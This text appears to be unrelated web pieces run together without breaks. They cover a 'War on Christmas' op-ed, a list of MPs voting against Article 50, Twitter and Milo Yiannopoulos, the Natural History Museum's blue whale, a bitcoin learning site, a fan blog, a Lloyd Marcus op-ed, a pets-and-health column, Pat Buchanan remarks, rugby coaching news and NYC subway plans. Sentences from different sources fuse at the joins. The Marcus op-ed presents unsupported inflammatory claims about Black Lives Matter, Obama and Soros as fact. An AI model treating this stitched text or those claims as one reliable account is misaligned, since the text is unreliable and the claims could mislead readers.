In another case the ACLU lost, the Supreme Court upheld the city’s use of the nativity scene because it also contained a number of secular Christmas symbols, such as Santa’s sleigh and carolers. However, the Supreme Court did declare in another ACLU lawsuit in 1989 that a nativity scene violates the Constitution, adding to the cultural zeitgeist that celebrating Christmas publicly was somehow inappropriate.
So the ACLU conducted a litigation campaign to suppress the observance of Christmas in public schools and other government venues. Some of the cases succeeded, but many failed. And all of these cases occurred well before the existence of Fox News. These are just a few examples.
3. People resisted the “War on Christmas” because they knew firsthand it was real
Fox News did not rile up gullible people to fight a war against Christmas that did not exist. This out-of-touch thinking by the New York Times assumes that most people who watch Fox News are easily manipulated. People responded to John Gibson’s book and Bill O’Reilly’s protests against these efforts to suppress Christmas because they had experienced it firsthand.
Many knew from their own experience that businesses, feeling that social pressure, began ordering their workers to say “Happy Holidays” rather than “Merry Christmas.” That happened to me. In the early 2000’s, I was flying on Continental Airlines in December. As we landed, the flight attendant wished us all, “Happy Holidays” over the intercom. As we disembarked, I asked the flight attendant if Continental Airlines would allow her to say, “Merry Christmas” to the passengers on the plane. “Oh no,” she said. “I would be written up if I did that.”
Alliance Defending Freedom looked into this matter and others like it. We saw many such instances around the nation. We also learned that 92% of all Americans – which includes many non-Christians – celebrate Christmas. Even so, businesses who are free to have their employees wish people a Merry Christmas opted to suppress the greeting. Many public schools violated the freedom of speech rights of their students by censoring their Christmas art projects and Christmas carols.
In 2003, the problem became so widespread that ADF formally launched an effort to combat the fear, intimidation and disinformation spread by the ACLU and its allies via these Christmas censorship lawsuits – two years before John Gibson published his book.
And we’ve had some success. The more extreme forms of Christmas censorship that we saw 10 and 20 years ago seem to be receding, due to the efforts by ADF and many others to bring a balanced, reasonable approach to the Christmas observances. People agreed with ADF and Fox News and others that the War on Christmas was real and wanted an end to hostilities.
Our increasingly diverse nation tends to fragment unless we have common values or touch points that bring us together. A holiday that points us to love one another as God first loved us, and has us give generously to others is something many people think worthy of preserving and that everyone benefits by doing so. That is why so many people agreed to resist the efforts to suppress the religious aspects of Christmas.
The New York Times missed this important aspect of this cultural phenomenon with its scoffing denial that Christmas censorship ever happened. So, next time the New York Times runs a piece like this, perhaps its author should talk to people who were actually in the fight, not just those who started it.
Merry Christmas.Here are the 122 who voted against Article 50:
Ian Blackford (Scottish National Party – Ross, Skye and Lochaber)
Kirsty Blackman (Scottish National Party – Aberdeen North)
Philip Boswell (Scottish National Party – Coatbridge, Chryston and Bellshill)
Mr Ben Bradshaw (Labour – Exeter)
Tom Brake (Liberal Democrat – Carshalton and Wallington)
Kevin Brennan (Labour – Cardiff West)
Deidre Brock (Scottish National Party – Edinburgh North and Leith)
Alan Brown (Scottish National Party – Kilmarnock and Loudoun)
Lyn Brown (Labour – West Ham)
Chris Bryant (Labour – Rhondda)
Ms Karen Buck (Labour – Westminster North)
Dawn Butler (Labour – Brent Central)
Ruth Cadbury (Labour – Brentford and Isleworth)
Dr Lisa Cameron (SNP – East Kilbride, Strathaven and Lesmahagow)
Mr Alistair Carmichael (Liberal Democrat – Orkney and Shetland)
Douglas Chapman (Scottish National Party – Dunfermline and West Fife)
Joanna Cherry (Scottish National Party – Edinburgh South West)
Mr Kenneth Clarke (Conservative – Rushcliffe)
Mr Nick Clegg (Liberal Democrat – Sheffield, Hallam)
Ann Clwyd (Labour – Cynon Valley)
Ann Coffey (Labour – Stockport)
Ronnie Cowan (Scottish National Party – Inverclyde)
Neil Coyle (Labour – Bermondsey and Old Southwark)
Angela Crawley (Scottish National Party – Lanark and Hamilton East)
Mary Creagh (Labour – Wakefield)
Stella Creasy (Labour (Co-op) – Walthamstow)
Geraint Davies (Labour (Co-op) – Swansea West)
Martyn Day (Scottish National Party – Linlithgow and East Falkirk)
Thangam Debbonaire (Labour – Bristol West)
Martin Docherty-Hughes (Scottish National Party – West Dunbartonshire)
Stuart Blair Donaldson (SNP – West Aberdeenshire and Kincardine)
Stephen Doughty (Labour (Co-op) – Cardiff South and Penarth)
Jim Dowd (Labour – Lewisham West and Penge)
Mark Durkan (Social Democratic & Labour Party – Foyle)
Maria Eagle (Labour – Garston and Halewood)
Jonathan Edwards (Plaid Cymru – Carmarthen East and Dinefwr)
Mrs Louise Ellman (Labour (Co-op) – Liverpool, Riverside)
Paul Farrelly (Labour – Newcastle-under-Lyme)
Tim Farron (Liberal Democrat – Westmorland and Lonsdale)
Margaret Ferrier (SNP – Rutherglen and Hamilton West)
Vicky Foxcroft (Labour – Lewisham, Deptford)
Mike Gapes (Labour (Co-op) – Ilford South)
Stephen Gethins (Scottish National Party – North East Fife)
Patricia Gibson (Scottish National Party – North Ayrshire and Arran)
Patrick Grady (Scottish National Party – Glasgow North)
Peter Grant (Scottish National Party – Glenrothes)
Neil Gray (Scottish National Party – Airdrie and Shotts)
Kate Green (Labour – Stretford and Urmston)
Lilian Greenwood (Labour – Nottingham South)
Helen Hayes (Labour – Dulwich and West Norwood)
Drew Hendry (SNP- Inverness, Nairn, Badenoch and Strathspey)
Lady Hermon (Independent – North Down)
Meg Hillier (Labour (Co-op) – Hackney South and Shoreditch)
Stewart Hosie (Scottish National Party – Dundee East)
Dr Rupa Huq (Labour – Ealing Central and Acton)
George Kerevan (Scottish National Party – East Lothian)
Calum Kerr (SNP – Berwickshire, Roxburgh and Selkirk)
Peter Kyle (Labour – Hove)
Mr David Lammy (Labour – Tottenham)
Chris Law (Scottish National Party – Dundee West)
Clive Lewis (Labour – Norwich South)
Caroline Lucas (Green Party – Brighton, Pavilion)
Angus Brendan MacNeil (Scottish National Party – Na h-Eileanan an Iar)
Rachael Maskell (Labour (Co-op) – York Central)
John Mc Nally (Scottish National Party – Falkirk)
Callum McCaig (Scottish National Party – Aberdeen South)
Kerry McCarthy (Labour – Bristol East)
Stewart Malcolm McDonald (Scottish National Party – Glasgow South)
Stuart C. McDonald (SNP – Cumbernauld, Kilsyth and Kirkintilloch East)
Dr Alasdair McDonnell (Social Democratic & Labour Party – Belfast South)
Natalie McGarry (Independent – Glasgow East)
Alison McGovern (Labour – Wirral South)
Catherine McKinnell (Labour – Newcastle upon Tyne North)
Anne McLaughlin (Scottish National Party – Glasgow North East)
Carol Monaghan (Scottish National Party – Glasgow North West)
Dr Paul Monaghan (SNP – Caithness, Sutherland and Easter Ross)
Mrs Madeleine Moon (Labour – Bridgend)
Roger Mullin (Scottish National Party – Kirkcaldy and Cowdenbeath)
Ian Murray (Labour – Edinburgh South)
Gavin Newlands (SNP – Paisley and Renfrewshire North)
John Nicolson (Scottish National Party – East Dunbartonshire)
Brendan O’Hara (Scottish National Party – Argyll and Bute)
Sarah Olney (Liberal Democrat – Richmond Park)
Chi Onwurah (Labour – Newcastle upon Tyne Central)
Kirsten Oswald (Scottish National Party – East Renfrewshire)
Steven Paterson (Scottish National Party – Stirling)
Stephen Pound (Labour – Ealing North)
John Pugh (Liberal Democrat – Southport)
Ms Margaret Ritchie (Social Democratic & Labour Party – South Down)
Angus Robertson (Scottish National Party – Moray)
Alex Salmond (Scottish National Party – Gordon)
Liz Saville Roberts (Plaid Cymru – Dwyfor Meirionnydd)
Mr Virendra Sharma (Labour – Ealing, Southall)
Tommy Sheppard (Scottish National Party – Edinburgh East)
Tulip Siddiq (Labour – Hampstead and Kilburn)
Andy Slaughter (Labour – Hammersmith)
Jeff Smith (Labour – Manchester, Withington)
Owen Smith (Labour – Pontypridd)
Chris Stephens (Scottish National Party – Glasgow South West)
Jo Stevens (Labour – Cardiff Central)
Alison Thewliss (Scottish National Party – Glasgow Central)
Michelle Thomson (Independent – Edinburgh West)
Stephen Timms (Labour – East Ham)
Mike Weir (Scottish National Party – Angus)
Catherine West (Labour – Hornsey and Wood Green)
Dr Eilidh Whiteford (Scottish National Party – Banff and Buchan)
Dr Alan Whitehead (Labour – Southampton, Test)
Dr Philippa Whitford (Scottish National Party – Central Ayrshire)
Hywel Williams (Plaid Cymru – Arfon)
Mr Mark Williams (Liberal Democrat – Ceredigion)
Corri Wilson (Scottish National Party – Ayr, Carrick and Cumnock)
Pete Wishart (Scottish National Party – Perth and North Perthshire)
Daniel Zeichner (Labour – Cambridge)The company won't explain the removal of Milo Yiannopoulos's verification badge. A campaign against harassment, and allegations of speech policing.
Twitter's removal of journalist and provocateur Milo Yiannopoulos's verification badge for unspecified rules violations has pushed the company — in the midst of a crackdown on harassment — deeper into the politicized battle over online speech. Though Yiannopoulos is still on the platform, the self-described supervillain is widely impersonated and the loss of the verification badge could well make it difficult for him to distribute his message on Twitter. "The primary purpose of verification is to combat impersonation," Yiannopoulos told BuzzFeed News in an email. "I can't think of anyone on the internet more impersonated (whether out of affection or otherwise) than me."
Damn shame Support un-verified @nero because now there's no way I can tell who's the real one. #jesuismilo
One possible Yiannopoulos violation: a top Twitter executive suggested it was for a Tweet containing the phrase: "You deserve to be harassed."
You deserve to be harassed you social justice loser https://t.co/iUmMwMVVAT
The executive, Head of Commerce Nathan Hubbard, said he wasn't speaking for the company. And Twitter, citing a policy of not commenting on individual accounts, declined to comment. But it confirmed that a letter notifying Yiannopoulos of the verification revocation (cited in the tweet below) is real.
I've been sat on the naughty table!
This isn't Twitter's first battle with a member of the populist right-wing media. It banned the journalist Chuck Johnson last May for rules violations. "They're using a tool for establishing the identity of prominent people as an ideological weapon," Yiannopoulos wrote in an email. "Any one of you could be next -- you know how the Left loves to turn on its allies!" It is unclear which rule (or rules) Yiannopoulos violated, and Twitter will not provide any additional detail on which infractions led to his verification removal. Social platforms are corporations, and aren't bound by the First Amendment. But their decisions matter since much of the political discussion that once took place in the open web is now occurring within their walls. And discussions that do take place outside social platforms still often rely on social for distribution. Limiting someone's ability to message on Twitter therefore has real impact. Johnson, for instance, has essentially vanished from the political conversation since he was banned. Facebook has dealt with similar issues. Donald Trump, for instance, recently made statements that appear to be in violation of the company's hate speech policies, yet Trump remains active on the platform.
"When we review reports of content that may violate our policies, we take context into consideration," a Facebook spokesperson told BuzzFeed News at the time. "That context can include the value of political discourse." The lack of specificity from Twitter prompted a wave of criticism under the hashtag #jesuismilo (a reference to French journalists who lost more than a blue check mark) and a pointed Tweetstorm from investor Jason Calacanis.
2/if you all want to attack each other all day long on social media, you can't go ask @twitter to decide who is harassing who--not their job
3/Twitter policing speech is the beginning of the end of the platform; 'word policing' will result in exponential trolling// cat & mouse
Hubbard, the Twitter commerce executive, suggested this exchange might have prompted the company's move:
We see this guy tweet like this, encouraging harassment, every. single. day. And where are you @twitter @Support??!Image copyright Trustees of the NHM, London Image caption The skeleton has been given a diving pose - as if it is feeding on a ball of krill
London's Natural History Museum (NHM) has undergone a major revamp with a blue whale skeleton now forming the main exhibit as visitors come through the front door.
The marine mammal replaces the much-loved Diplodocus dinosaur, "Dippy", which will soon head out on a tour of the UK.
The museum believes the change will give its image a refresh.
It wants to be known more for its living science than its old fossils.
The museum employs hundreds of researchers who engage in active study on a day-to-day basis.
Yes, they use the 80 million-odd specimens kept at the South Kensington institution, but their focus is on learning new things that bear down on the modern world. In that sense, the blue whale is regarded as the perfect emblem.
The specimen is being given the name "Hope" as a "symbol of humanity's power to shape a sustainable future".
Blue whales are now making a recovery following decades of exploitation that nearly drove them out of existence.
The Natural History Museum is closed to the public all day Thursday for final preparations
Media playback is unsupported on your device Media caption BBC Horizon: Richard Sabin tags blue whales with John Calambokidis
Staff have spent months preparing the 126-year-old skeleton for its new role.
First, it had to be removed from its old hanging space in the mammals gallery.
Then it had to be cleaned and in a few places repaired and strengthened. And finally, it had to be re-hung from the iron girders that support the ceiling in the Waterhouse building's spectacular Hintze Hall.
The BBC was given exclusive access to the whole process, and a Horizon documentary, narrated by Sir David Attenborough, will go out on BBC Two at 21:00 BST on Thursday.
The film will air at about the same time as the NHM's patron, the Duchess of Cambridge, and Sir David, inaugurate the new exhibit at a gala reception.
The NHM blue whale specimen
Image copyright Trustees of the NHM, London Image caption The young female blue whale beached on Wexford sands on 25 March 1891
Skeleton is just over 25m long and weighs 3 tonnes
At death, the animal was about 10-15 years old
NHM bought the skeleton for £250 from a middleman
He sold the oil for fuel; meat went to the pet trade
Arrived at museum in March 1892 and put in storage
First went on display in 1938 in the mammals gallery
A great many people were involved in the make-over, but the promotion of the whale represents something of a personal triumph for Richard Sabin, the museum's principal curator of mammals.
He championed the change and suggested the dynamic lunge-feeding pose that the whale now assumes.
It was on a visit to the NHM in 1976, as a boy of 10, that Richard first saw the skeleton in its old display position. He describes that experience as transformative.
"I was absolutely blown away," he told BBC News. "I remember running up the stairs to the balcony and asking an attendant if the whale skeletons in the gallery were real. And she said 'yes, and not only that you can still see these animals in the ocean today'.
"I got home and the very next day I headed down to the public library to try to find as many books as I could on whales. It was, to coin a phase, a defining moment."
The blue whale (Balaenoptera musculus)
Biggest animal ever to have lived on Planet Earth
Weighs up to 200 tonnes, and can be up to 30m long
Hunts in all oceans, ranging from tropics to poles
Must eat over 4 tonnes of shrimp-like krill a day
Jaws open to over 90 degrees to take giant gulps
Commercial whalers reduced numbers to a few hundred
Species has rebounded to perhaps 20,000 individuals
For the Horizon film, Richard can be seen tracing the history of the specimen - meeting the descendants of the Irish fisherman who despatched the animal with a makeshift harpoon after it had beached off County Wexford in March 1891. But he also travels to North America, to the Pacific Coast, to join the Cascadia Research Group as they track migrating blue whales.
The group, co-founded by John Calambokidis, attaches tags to the giant creatures. Held on by suction cups, these devices record the behaviour of the whales, even capturing 4K video as they dive underwater.
The team is learning key facts that will help conserve the majestic animals, which went to the brink of oblivion thanks to 20th Century hunters.
"We've discovered that blue whales spend twice as much time at the surface at night than they do in the day," John told Horizon.
"That's the period when they're most vulnerable to ship strikes. That identified right there that we need to be most concerned about ships and their transiting through blue whale areas at night rather than the day."
Media playback is unsupported on your device Media caption A timelapse movie captures the erection of the blue whale
Image copyright Trustees of the NHM, London Image caption Whale flipper: The Wexford specimen got an MOT before being re-hung
For Richard, the observation of whales in the Pacific confirmed his desire to see the conservation icon put centre-stage at his museum back in London.
"It's been an honour and a privilege to work with the specimen that inspired me all those years ago - to breathe new life into it; to inject science from the field into it; to display it in a much more meaningful way.
"I honestly believe it will take people's breath away when they see it.
"Thursday is going to be an amazing day for everyone involved; I am sure there will be plaudits for what we've done. But I can't wait for Friday morning when the first families, the first schoolchildren, walk through the door and I get to hear what they've got to say about what they see."
Fans of Dippy should not despair. After the dinosaur's two-year tour of Britain, it will return to a make-over of its own.
The skeleton, which is actually only a plaster cast, will be fashioned again in bronze and placed in the east garden in front of the museum.
You can watch a trail for Horizon: Dippy and the Whale. After broadcast on BBC Two, the programme will be available on the iPlayer.
Image copyright Trustees of the NHM, London Image caption Dippy, a copy of an American dinosaur specimen, vacates Hintze Hall after four decades of duty
Image copyright NIALL MCLAUGHLIN ARCHITECTS Image caption A new bronze Dippy will eventually feature in the eastern grounds of the museum
Image copyright Trustees of the NHM, London
Jonathan.Amos-INTERNET@bbc.co.uk and follow me on Twitter: @BBCAmoslearn me a bitcoin How does bitcoin work?
Good question.
What is Bitcoin?
Bitcoin is just a computer program.
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This website is full of simple explanations of how bitcoin works.
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Here are some good places:
1. Browse the blockchain.
You may be able to pick up a feel for how bitcoin works by just browsing this data and seeing how it all connects together. It's like opening the bonnet of a car and looking inside.
I've left some sticky-notes lying around to help out.
2. Read the beginner's guide.
Sometimes you just need a complete walkthrough of the basics.
This is the shortest and simplest guide I could write.
3. Watch some video explanations.
These are thorough explanations of the mechanics of bitcoin from the perspective of a programmer.
If you want to code stuff with bitcoin, these video lessons will get you going.
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If you've decided you know just enough to start building something:
Glossary - A reference manual for each individual part of bitcoin.
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Everything I know about bitcoin comes from practice.
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It feels in-keeping with the nature of Bitcoin (and open-source in general) to create an educational resource that is also free.
Feel free to make a much-needed donation though: 3Beer3irc1vgs76ENA4coqsEQpGZeM5CTd
Why did you make this website?
Because I want other people to understand how bitcoin works too.
Bitcoin allows you to transfer value to anyone else in the world, and I think this is important. So if you understand how bitcoin works, you can create your own cool software to make it even better.
With bitcoin, you can build things that make the world more interesting.[EDIT: the guessing game is over, and the answer is here.]
Hi Ayreonauts!
Today’s post answers an email question sent in by Josh:
…I am really excited for this record! Can I ask if Arjen has employed any instruments for this record that he hasn’t used before? For example, we heard a didgeridoo on The Human Equation which was a great touch.
Thanks for the question, Josh! The short answer to your question is yes. As usual, Arjen is going to have guest musicians on the next Ayreon. Some of them have already started recording, and one of them just happens to be an instrument that Arjen’s never used before.
Here is a little snippet.
[audio:http://traffic.libsyn.com/aalucassen/Guess_instrument1.mp3|titles=Guess the instrument|artists=Ayreon]
download audio
Can you guess what instrument it is? Tomorrow I’ll tell you the correct answer. Put your guesses in the comments below (you |
groups have called for the ouster of McMaster. Earlier this year, Bannon was removed from the Principals Committee of the National Security Council (NSC).Delegates of the Southern Baptist Convention, an evangelical church fellowship with about 15 million members across the United States, condemned white supremacists and the “alt-right” in a resolution on Wednesday, one day after the delegates provoked a backlash by turning down a more harshly worded resolution.
The denomination’s annual meeting on Tuesday and Wednesday in Phoenix attracted about 5,000 delegates and pastors from across the country.
While the convention tends to lean conservative on many issues — one resolution that was approved called for defunding Planned Parenthood — Russell Moore, who is in charge of public policy for the convention, said in an interview on Thursday that the resolution against the alt-right had to do with Southern Baptist values, not politics.
“I heard no objections, privately or publicly, to this resolution,” he said. “None.”
The original resolution denouncing white supremacy was submitted by Dwight McKissic, a black Southern Baptist pastor in Texas. It called alt-right — a far-right, white nationalist movement — and white supremacists groups a “toxic menace.”Harriet Baldwin posted on Facebook: “Pisses me off when the alt-left media likens these paid Obama/Soros/Alinsky violent protesters to the Tea Party.”
Folks, I am a black singer/songwriter who has been in the Tea Party from the beginning. In 2008, Our Country Deserves Better PAC invited me on their “Stop Obama” national bus tour. In 2009, I wrote the “American Tea Party Anthem” which I performed at Tea Party rallies on 14 national bus tours with Tea Party Express and others.
It has infuriated me the way the despicable fake news media intentionally branded the salt-of-the-earth good Americans at the rallies a bunch of redneck racists vehemently opposed to America electing its first black president. Nothing could be further from the truth.
Many of those folks at the rallies excitedly voted for Obama assuming it would heal America's racial divides. They became aware that Obama was the Left's bait and switch president; running as a moderate – governing like an out-of-control lawless far-left radical.
Folks, Tea Party people are not racist. They love their country. They desire equal justice for all Americans. They do not want government dictating how to raise their kids and micromanaging their lives to achieve the Left's absurd goal of equal outcomes.
Trump calling out fake news outlets is exhilarating.
Along with media from around the world, CNN was embedded on one of the Tea Party Express tours. The CNN reporter attended 35 rallies for a CNN documentary. I was a headliner, opening every rally, rocking the house with my “American Tea Party Anthem.” I closed every rally with a powerful rendition of “God Bless the USA” in which I invited every veteran in the audience to join me on stage. Audiences spontaneously jumped to their feet, cheering and applauding as vets made their way to the stage. The crowds expressed extra enthusiastic love when a WWII vet made his way or was helped to the stage.
The people loved me and I loved them back because we were united in our love for America and our desire not to see her transformed into a socialist/progressive Godless nation. Rally attendees treated me like a rock star; purchasing my CDs, asking for autographs, asking me to take pictures with their kids.
When the CNN documentary was aired, not one time was my black face shown, nor were black Christian publishers William and Selena Owens, Kevin Jackson, Herman Cain, or other black speakers at the rallies.
Consequently, my 80-year-old black dad believed the Tea Party was a bunch of hate-filled scary racist white people because he heard it on CNN. I said, “But dad, I'm on the tour bus and they allow me to ride up front!”
As I said, the complete opposite of the fake news narrative regarding the Tea Party is true.
In Texas at a Tea Party rally, a white cowboy approached me pushing a stroller with two black babies. The proud father of adopted babies from Africa said he and his white wife asked God to give them kids who needed their love. He was excited about his babies soon becoming American citizens.
In Michigan at a rally, a white woman in a wheelchair, spotted me. “Oh my gosh, it's Lloyd Marcus! Can I please have a picture with you?” The woman's adult daughter told someone on our staff. “My mom is dying. She said all she wanted to do was meet Lloyd Marcus.”
Tea Party attendees endlessly apologized to me for opposing the first black president. Folks, I could go on and on with fond memories of heartwarming incidents, acts of kindness, love, respect, and tearful moments of patriotism.
So, when fake news media goes messin' with my tea party family, they're on the fightin' side of me. The decent, hardworking, orderly, and responsible patriots in the Tea Party have been purposely slandered by the fake news media. It is beyond disgusting.
Meanwhile, the scum-of-the-earth Black Lives Matter, which encourages blacks to kill white people and cops, is celebrated in the fake news media. Though unreported, black attacks on whites and ambushes and assassinations of police have skyrocketed.
Since election night when We the People stunned the fake news media by defeating Hillary, Leftists have literally lost their minds with vitriolic hate for us. Obama and Soros launched violent hate groups and protesters to wreak havoc in our streets to create the illusion that a majority of Americans hate Trump.
And now, fake news media has the nerve to place the Left's paid deranged, violent, and chaos-producing thugs on a higher moral level than the Tea Party. Heaven forbid.
Lloyd Marcus, The Unhyphenated American
Author: “Confessions of a Black Conservative: How the Left has shattered the dreams of Martin Luther King, Jr. and Black America.”
Singer/Songwriter and Conservative Activist
mr_lloydmarcus@hotmail.com
http://www.lloydmarcus.com/This column, On the Mind, is a series about the latest in cognitive science and neuroscience-related research that applies to our everyday lives. This biweekly series is for those interested in cutting-edge findings about the practical side of habits, memories, multitasking and the human-brain interface. What are the recent studies, and what is the context? See what science says and how you can apply it to your life.
When I felt stressed while working at home today, my cat walked into the room a few minutes later and chirped a “hello.” In fact, while I began writing a new story, she crawled into my lap and purred, making me pause to pet her for a few minutes before moving my laptop to continue my work. I breathed a sigh of relief and continued typing with a happier mindset.
That simple scenario can be multiplied many times over for pet owners who have stories of pets comforting them during grief, making them laugh after a hard day, or simply cuddling them through the night. More than 180 million companion animals, as they’re called in scientific research, live with us in U.S. households. It seems obvious that the furry friends we’ve chosen to bring into our lives would make us happy, but the science shows that it goes deeper — and the connection comes straight from our brains.
Studies Say
For about a decade, scientists have worked with the idea that pets release oxytocin, or the neurochemical of love, in our brains when we see them. The hormone makes us feel happy and trusting, which contributes to the human-animal bond. In recent years, they’ve pushed that idea by investigating how exactly we benefit from owning pets and whether those without pets (such as nursing home residents and college students in dorms) could benefit from occasional visits.
On the other hand, scientists have also studied how owning pets can be harmful. The studies are fewer, but they’re there. Pets can contribute to allergy problems, injuries and problems with infants who pick up germs. If you’re really interested, there’s a fascinating string of research that explains how infants in homes with pets may be exposed to bacteria associated with childhood obesity and allergies.
Key Takeaways
Although the research field isn’t broad in this area, we can still learn several updates about pets and our brains from the past year.
1. Pets boost our brain chemicals.
Our happiness hormones lift when we see familiar faces at home, which typically includes higher oxytocin levels that make us fall in love. At the same time, pets lower our cortisol levels, which are often linked with stress and weight gain, and our alpha-amylase levels, which are proteins linked with starch digestion in the body. Scientists aren’t sure what exactly causes the chemical release, but it’s likely through a familiar connection. “The benefits of companion animals are most likely to be through reduction in depression, anxiety, and social isolation,” said Pamela Schreiner of the Center to Study Human-Animal Relationships and Environments at the University of Minnesota in Minneapolis in a 2016 study about the impact of pets on our health.
2. They also keep our mental health conditions in check.
Pets help owners with long-term mental health conditions such as depression and anxiety in several ways, especially if the pets are viewed as family members who offer emotional support or help owners manage their everyday lives. In certain cases, pets may be the closest connection an owner may have at home, which can distract them from mental health symptoms such as suicidal thoughts or panic attacks. In the study, pets also gave a reason for owners to do tasks during the day or care for something other than themselves — After all, pets must be fed, walked and pet. “Pets should be considered a main rather than a marginal source of support in the management of long-term mental health problems, and this has implications for the planning and delivery of mental health services,” United Kingdom researchers wrote in December 2016.
3. By helping our minds, pets help our hearts.
During the past two years, pet ownership research has heavily focused on cardiovascular disease. Several studies in both the U.S. and China showed a fascinating correlation between owning pets and a lower risk of dying from heart disease, heart attack and stroke. Published in September 2016 by researchers mostly based in Georgia, the study accounted for physical activity, which is fascinating to observe in a state with higher obesity, diabetes and poor heart health rates. Also, the greater health benefits were associated with having a cat rather than a dog. “The protection pets confer may not be from physical activities, but possibly due to personality of the pet owners or stress-relieving effects of animal companionship,” the study authors wrote.
In the Chinese study, however, having a dog was better for coronary artery disease, especially when owners had pets longer and played with them more each day. And in many studies, physical activity increases are associated with dog ownership, Schreiner explained. “Pet ownership is also a marker of better socioeconomic status and family stability,” so heart health benefits may actually come from better education and income, she added.
4. Pets help our brains as we age.
Dementia patients often face memory, anxiety and behavioral issues as their symptoms develop, which can make their social lives and family time upsetting and stressful. In recent years, researchers have turned to pet therapy as a way to create an emotionally beneficial bond. The most innovative studies are now looking at robotic pets with dementia patients and how they may give similar positive effects without the negative aspects of allergies, injuries, or requirements for care. A group of Texas researchers found this year that a group of patients — with an average age of 83 — had lower pulse rates, pain medication and psychoactive medication during the 12-week study with PARO, a robotic pet that looks like a fluffy white seal.
5. Pets help our brains as we grow up, too.
New research shows that childhood pet ownership has major connections to emotional, behavioral, cognitive, educational and social development outcomes. In particular, pets help kids with self-esteem, loneliness, perspective-taking abilities and social interaction, a group of UK and New York professors concluded in February 2017 after conducting a systematic review of 22 studies about childhood pet ownership. On top of that, several Scottish researchers reported in May that childhood attachment to pets was associated with humane behavior, reduced aggression, and better well-being because they learn how to care for a pet.
In fact, children with autism spectrum disorder may particularly benefit from having a pet. Researchers in the UK created the Lincoln Autism Pet Dog Impact Scale to measure how individual differences of the child (such as age, disability level and language abilities) may change how effective having a dog would be for a family with an autistic child.
Although many of these areas are still in the early development stages, they’re on the way to telling us how our pets affect our brains and our hearts and how we should value pets for the ways they boost our health.
Image: Vancouver Film School, Flickr, CC-BY
Carolyn Crist is a freelance health and science journalist for regional and national publications. She writes the Escape Artist column for Paste Travel, On the Mind column for Paste Science and Stress Test column for Paste Health.Three-time presidential candidate Pat Buchanan has a message for the government: if anyone in President Donald Trump's campaign colluded with Russia, seek an indictment "or shut up."
The conservative Buchanan told Fox News' Sean Hannity on Monday night he's tired of baseless claims coming from anonymous government sources that suggest Trump and/or his people had illegal contacts with the Russians leading up to last November's election.
"Eight months this thing has been going on. Eight months into Watergate, we had seven guys indicted, convicted, prosecuted, and sentenced. They were gone," Buchanan said.
"Eight months in, not a single indictment. If there is somebody that did something wrong in the Trump campaign and did something to leak, in which I don't believe and which [former director of national intelligence James] Clapper said they didn't find, then indict him or shut up," Buchanan said. "These individuals keep going out and saying the same thing again and again without any evidence whatsoever."
Buchanan added that the people leaking information to the press regarding Russia claims — true or not — are breaking the law and need to be prosecuted.
"There's only a few people that have this information, and only a few people can be leaking it," said Buchanan, who ran for president in 1992, 1996, and 2000. "They ought to run them down, take them out, prosecute them, punish them, and fire them.
"You've got people in there who are betraying their oaths, are disloyal to the agency, damaging the commander in chief, committing felonies," Buchanan added. "Why doesn't the FBI investigate that?"Newly-appointed NSW coach Brad Fittler admits he will try to replicate the values and desire Phil Gould implemented during his reign as the most successful State of Origin coach the Blues have had.
Fittler, who intends to use both Gould and Andrew Johns in his support staff, spoke of how he intends to build confidence within the team after being appointed to the job in Sydney on Friday.
"That's what Gus did, he instilled confidence in you," Fittler told NRL.com after being announced as Blues coach for the next two years.
"He had a great ability of picking good people, and he had a great ability of making you feel confident. That's what you need to do.
"You can't [over-coach]. The key is that everyone has to walk away confident. They have to walk onto a field confident, and you have to walk up into a box and into half-time confident. If you're confident then you get the best of you. I think that's the key."
The biggest problem for NSW in recent years has been their inability to find, and stick, with a winning halves combination.
Pressure on incumbents Mitchell Pearce and James Maloney to hold onto their positions ahead of a new generation of talent is mounting, with Eels playmaker Mitchell Moses and Penrith halfback Nathan Cleary leading the charge.
Fittler worked closely with Moses throughout the World Cup in guiding Lebanon to a historic quarter-final appearance and won't be afraid to pick him in the halves next season, however a lot could hinge on how the Eels' start 2018.
While Fittler admitted Moses "showed so much more than I thought he had" during the World Cup, the new Blues coach insists club form and the position of teams on the ladder will go a long way to deciding the make-up of his side for the opening game of the series at the Melbourne Cricket Ground on June 6.
"I thought he was fantastic," Fittler said of Moses.
"He played in a team that I don't think won the metreage in any game and Tonga and Australia both ran for about 600 metres more than us. We weren't going forward. The way he stayed composed and did what he did was a credit to him.
"He's got to do it at Parramatta. They've got a good footy team there. If they are sitting towards the top of the ladder leading into May then he's most probably as good a chance as any of the halves."
Video - 5zY3hnZDE6hc4Dv7BkdkiMzfHSa2gzNa
At the end of the failed 2017 Origin series, the focal point of the criticism of NSW's failed campaign was the culture of the players under Laurie' Daley's watch.
There's a perception that an underlying "booze culture" continues to plague NSW in their pursuit of ending Queensland's long-standing Origin dominance.
But Fittler said he didn't focus on that during the interview process.
"I didn't talk about culture," he said.
"I just talked about how I see the camps running, about things I train, the things I coach, the stuff I'll be doing off the field and how it will all run in line with Channel Nine and State of Origin."
Fittler will continue his work with Channel Nine throughout the next two years but has agreed to cut back on the time he will spend on the sidelines.
The ex-Sydney Roosters coach beat former South Sydney premiership-winning coach Michael Maguire to the job.
"We had some preliminary discussions with Michael Maguire," NSWRL chairman George Peponis said.
"Following those discussions, it was apparent that Michael's primary interest was in NRL coaching."
Holden State of Origin Game 1 in Melbourne is on-sale and tickets are available at nrl.com/tickets.
Tickets will be available for Games 2 and 3 on Thursday 7th December at nrl.com/tickets (Game 2 – ANZ Stadium, Sunday June 25th, Game 3 – Suncorp Stadium, Wednesday July 11th)
Fittler can turn NSW around: Elias
Experience key for new Blues coach: Daley
"People want to work, and they want their device to work 24 hours a day," Governor Cuomo during the event at the New York Transit Museum in Brooklyn. "They don't want to have to look up. There has to be WiFi, and there need to be charging ports."
In addition to free juice and an internet connection, the new subway cars will sport "full color digital customer information displays," as well as new digital ad space. On a practical level, the cars will offer wider doors to expedite boarding times and up to 750 of new cars will feature an open-ended design that allows for more passenger space.
Governor Cuomo's announcement also included plans to create a new, unified design standard for all subway stations, starting with some extensive renovations at 31 key stations across the city. Like the train cars, those stations will be getting amenities like WiFi, improved cellular connections and new digital signage with real-time updates at entrances and count down clocks on the platform – all while being careful to consider each station's "architectural legacy." If the first phase of renovations is successful, there are plans to upgrade another 170 stations in the future.
